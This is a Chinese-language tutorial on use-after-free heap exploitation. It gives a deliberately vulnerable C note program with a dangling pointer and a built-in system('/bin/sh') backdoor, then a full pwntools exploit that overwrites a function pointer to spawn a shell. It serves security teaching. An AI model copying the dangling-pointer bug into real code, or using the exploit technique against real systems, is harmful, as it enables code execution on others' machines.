前面說完chunk跟bin了,今天要進入uaf環節uwu
uaf.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_NOTES 10
typedef struct Note {
void (*print)(char *);
char *content;
} Note;
Note *notes[MAX_NOTES] = {NULL};
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
void welcome() {
printf("Welcome to my uaf lab!\n");
}
void backdoor() {
system("/bin/sh");
}
void menu() {
puts("\n1. Add note");
puts("2. Show note");
puts("3. Delete note");
puts("4. Exit");
printf("> ");
}
void add() {
int idx;
size_t size;
printf("Note index: ");
scanf("%d", &idx);
if (idx < 0 || idx >= MAX_NOTES) {
puts("Invalid index!");
return;
}
if (notes[idx] != NULL) {
puts("Note already exists!");
return;
}
printf("Note size: ");
scanf("%zu", &size);
Note *n = malloc(sizeof(Note));
n->print = NULL;
n->content = malloc(size);
printf("Your note: ");
read(0, n->content, size);
notes[idx] = n;
puts("Note added!");
}
void show() {
int idx;
printf("Note index: ");
scanf("%d", &idx);
if (idx < 0 || idx >= MAX_NOTES) {
puts("Invalid index!");
return;
}
if (notes[idx] == NULL) {
puts("Note does not exist!");
return;
}
if (notes[idx]->print)
notes[idx]->print(notes[idx]->content);
}
void delete() {
int idx;
printf("Note index: ");
scanf("%d", &idx);
if (idx < 0 || idx >= MAX_NOTES) {
puts("Invalid index!");
return;
}
if (notes[idx] != NULL) {
free(notes[idx]);
puts("Note deleted!");
} else {
puts("Note does not exist!");
}
}
int main() {
init();
welcome();
int opt;
while (1) {
menu();
scanf("%d", &opt);
switch (opt) {
case 1:
add();
break;
case 2:
show();
break;
case 3:
delete();
break;
case 4:
puts("Bye!");
exit(0);
default:
puts("Invalid option!");
}
}
}
makefile:
uaf: uaf.c
gcc uaf.c -o uaf -fstack-protector-all
我們可以得知的是,這個程式碼雖然很長,但是他的功能就是簡單的做增加筆記,刪掉筆記,檢視筆記跟退出這四個部分
觀察以下流程:
Note
結構和一塊記憶體用來存放筆記內容。Note
指標存入 notes
陣列對應的索引位置。print
函式指標初始為 NULL
(或原本可以指向 default_print
)。read()
讀取使用者輸入的內容到 content
。print
指標非空,則呼叫 print(content)
。free()
對應的 Note
結構(沒有設置 NULL
,留下懸空指標)。from pwn import *
r = process('./uaf')
def add(idx, size, note):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b': ', str(idx).encode())
r.sendlineafter(b': ', str(size).encode())
r.sendafter(b': ', note)
def show(idx):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b': ', str(idx).encode())
def delete(idx):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b': ', str(idx).encode())
這裡我們可以先add兩個note,我們可以使用gdb attach的方式去查看他heap的現狀
from pwn import *
r = process('./uaf')
def add(idx, size, note):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b': ', str(idx).encode())
r.sendlineafter(b': ', str(size).encode())
r.sendafter(b': ', note)
def show(idx):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b': ', str(idx).encode())
def delete(idx):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b': ', str(idx).encode())
add(0, 0x20, b'AAAAAAAA')
add(1, 0x20, b'BBBBBBBB')
gdb:
這裡可以看到我們分配的大小跟function pointer,還有一些我們丟進去的8個A跟8個B
我們現在去試著free掉這兩個chunk看看會發生甚麼
from pwn import *
r = process('./uaf')
def add(idx, size, note):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b': ', str(idx).encode())
r.sendlineafter(b': ', str(size).encode())
r.sendafter(b': ', note)
def show(idx):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b': ', str(idx).encode())
def delete(idx):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b': ', str(idx).encode())
add(0, 0x20, b'AAAAAAAA')
add(1, 0x20, b'BBBBBBBB')
delete(0)
delete(1)
gdb:
chunk被free掉之後,我們可以發現已經進入tcachebins裡了
接下來我們可以在程式碼加上add(2, 0x10, b'aaaaaaaa')
並執行再用gdb查看,我們可以發現我們再次填入的8個a也就是0x61,他已經把原本的function pointer蓋掉了,這個意思就是我們只要把我們的backdoor丟上去,就可以成功開shell了
然後去找backdoor的address:
最後就是我們在show一次,就會成功開shell了
exp.py:
from pwn import *
r = process('./uaf')
def add(idx, size, note):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b': ', str(idx).encode())
r.sendlineafter(b': ', str(size).encode())
r.sendafter(b': ', note)
def show(idx):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b': ', str(idx).encode())
def delete(idx):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b': ', str(idx).encode())
backdoor = 0x401323
add(0, 0x20, b'A'*4)
add(1, 0x20, b'B'*4)
delete(0)
delete(1)
add(2, 0x10, p64(backdoor))
show(0)
r.interactive()
Pwned!